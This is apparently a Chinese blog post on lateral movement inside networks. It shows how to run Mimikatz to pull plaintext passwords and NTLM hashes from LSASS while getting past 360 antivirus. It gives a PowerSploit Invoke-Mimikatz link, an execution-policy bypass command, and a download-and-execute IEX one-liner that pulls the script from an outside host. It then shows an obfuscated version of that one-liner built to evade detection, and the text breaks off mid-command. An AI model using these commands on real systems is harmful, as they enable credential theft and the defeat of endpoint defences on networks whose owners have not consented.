Mimikatz是一款能够从Windows认证(LSASS)的进程中获取内存,并且获取明文密码和NTLM哈希值的神器,内网渗透中常用mimikatz获取明文密码或者获取hash值来漫游内网。但是在实际的运用中,常常会遇到杀软的拦截,所以这里我借鉴网上的资料,进行复现学习,达到免杀绕过的目的。有些方式没有复现成功我就没有写出来了,有一些成功之后似乎也会被拦截了。
姿势一:powershell
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
cmd下执行,360没有拦截
powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"
powershell运行会被拦截
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.30.139/Invoke-Mimikatz.ps1');Invoke-Mimikatz
简单混淆还是被拦截了
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.30'+'.139/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11